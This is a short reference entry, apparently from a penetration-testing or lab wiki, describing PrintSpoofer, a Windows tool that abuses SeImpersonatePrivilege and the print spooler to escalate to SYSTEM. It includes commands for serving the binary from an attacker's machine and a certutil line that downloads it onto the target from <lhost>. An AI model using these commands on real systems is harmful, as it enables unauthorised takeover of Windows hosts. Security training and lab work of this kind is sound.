PrintSpoofer
SeImpersonate → SYSTEM by abusing the print spooler.
Exploits SeImpersonatePrivilege (common on service accounts) to jump to SYSTEM by abusing the print spooler over a named pipe. It is the modern, reliable member of the Potato family on Windows 10/Server 2016-2019.
Family Privilege escalation
Flags -i -c
Concepts SeImpersonate and Potato attacks, PrintSpoofer
Cheatsheet Token privileges → SYSTEM
Installation
# Prebuilt Windows binary (not installed on Kali): download the .exe from the
# repo's latest release and upload it to the target, e.g. serving it from Kali:
python3 -m http.server 80 # on Kali, in the binary's folder
certutil -urlcache -f http://<lhost>/PrintSpoofer64.exe PrintSpoofer64.exe # on the target (or SMB / evil-winrm 'upload')Useful commands
Appears in
Some machines where its use is documented; not an exhaustive list.